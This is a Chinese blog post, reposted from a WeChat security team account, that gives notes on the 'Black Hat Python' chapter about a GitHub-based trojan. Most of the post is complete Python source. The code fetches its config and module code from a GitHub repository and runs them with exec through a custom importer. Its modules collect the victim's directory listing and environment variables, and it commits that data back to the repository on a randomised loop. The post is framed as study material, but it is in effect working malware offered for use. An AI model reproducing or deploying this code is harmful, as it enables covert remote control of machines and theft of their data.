前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >基于github的木马

基于github的木马

作者头像
红客突击队
发布2022-09-29 21:36:25
6880
发布2022-09-29 21:36:25
举报
文章被收录于专栏:kaydenkayden

基于github的木马

前言

《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书

本篇是第7章基于github的木马

1、github的配置

如下命令,搭建一个chapter7项目

2、创建模块

在modules目录下创建一个dirlister.py列举当前目录下的所有文件

代码语言:javascript
复制
#!/usr/bin/env python
#-*- coding:utf8 -*-

import os

def run(**args):
    print "[*] In dirlister module."
    # 列出当前目录的所有文件,并作为字符串返回
    files = os.listdir(".")
    return str(files)

一个environment.py获取木马所在远程机器上的所有环境变量

代码语言:javascript
复制
#!/usr/bin/env python
#-*- coding:utf8 -*-

import os

def run(**args):
    print "[*] In environment module."
    # 返回当前系统的环境变量,这里就是远程被控机器的环境变量
    return str(os.environ)

推送代码

3、木马配置

在config目录下创建一个json文件作为配置

代码语言:javascript
复制
[
  {
  "module":"dirlister"
  },
  {
  "module":"environment"
  }
]

同样推送

4、编写基于github通信的木马

该木马从github上下载配置选项和运行的模块代码

代码语言:javascript
复制
#!/usr/bin/env python
#-*- coding:utf8 -*-

import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os

from github3 import login

trojan_id = "abc" #这个id唯一标示了木马

trojan_config = "%s.json" % trojan_id
data_path = "chapter7/data/%s/" % trojan_id
trojan_modules = []
configured = False
task_queue = Queue.Queue()


# 通过账号密码连接到github,获取repo和branch,注意真实环境需要混淆和访问控制
def connect_to_github():
    gh = login(username="你的账号", password="你的密码")
    repo = gh.repository("你的账号,同上面的账号", "python-hacker-code(仓库名)")
    branch = repo.branch("master")

    return gh,repo,branch

# 从远程仓库中获取文件
def get_file_contents(filepath):

    gh, repo, branch = connect_to_github()
    tree = branch.commit.commit.tree.recurse()

    for filename in tree.tree:

        if filepath in filename.path:
            print "[*] Found file %s" % filepath
            blob = repo.blob(filename._json_data['sha'])
            return blob.content

    return None

# 获取木马的配置文件,并导入模块
def get_trojan_config():
    global configured
    config_json = get_file_contents(trojan_config)
    config  = json.loads(base64.b64decode(config_json))
    configured = True

    for task in config:
        if task['module'] not in sys.modules:
            exec("import %s" % task['module'])

    return config

# 将从目标主机收集到的数据推送到仓库中
def store_module_result(data):

    gh, repo, branch = connect_to_github()
    remote_path = "chapter7/data/%s/%d.data" % (trojan_id, random.randint(10,10000000))
    repo.create_file(remote_path,"Commit message",base64.b64encode(data))

    return

def module_runner(module):

    # 将1加入到队列中
    task_queue.put(1)
    result = sys.modules[module].run(a=1,b=2,c=3)
    # 从队列中移除
    task_queue.get()

    # 保存结果到我们的仓库中
    store_module_result(result)

    return

# 创建定制的加载类
class GitImporter(object):
    def __init__(self):
        self.current_module_code = ""

    # 尝试获取模块所在位置
    def find_module(self, fullname, path=None):
        if configured:
            print "[*] Attempting to retrieve %s" % fullname
            # 调用之前的远程文件加载器
            new_library = get_file_contents("chapter7/modules/%s" % fullname)
            # 解密并保存文件内容
            if new_library is not None:
                self.current_module_code = base64.b64decode(new_library)
                # 返回self变量,告诉python解析器找到了所需的模块
                return self

        return None

    # 完成模块的实际加载过程
    def load_module(self, name):
        # 创建一个空的模块对象
        module = imp.new_module(name)
        # 将github中获得的代码导入的这个对象中
        exec self.current_module_code in module.__dict__
        # 最后将这个新建的模块添加到sys.modules列表里面
        sys.modules[name] = module

        return module



# 添加自定义的模块导入器
sys.meta_path = [GitImporter()]
# 木马循环
while True:

    if task_queue.empty():
        # 获取木马配置文件
        config = get_trojan_config()
        for task in config:
            # 对每个模块单独建立线程
            t = threading.Thread(target=module_runner, args=(task['module'],))
            t.start()
            time.sleep(random.randint(1,10))

    time.sleep(random.randint(1000,10000))

结语

一个简单的基于github的木马


红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。

本文参与?腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-07-14,如有侵权请联系?cloudcommunity@tencent.com 删除

本文分享自 红客突击队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体同步曝光计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 基于github的木马
  • 前言
    • 1、github的配置
      • 2、创建模块
        • 3、木马配置
          • 4、编写基于github通信的木马
          • 结语
          相关产品与服务
          网站渗透测试
          网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
          http://www.vxiaotou.com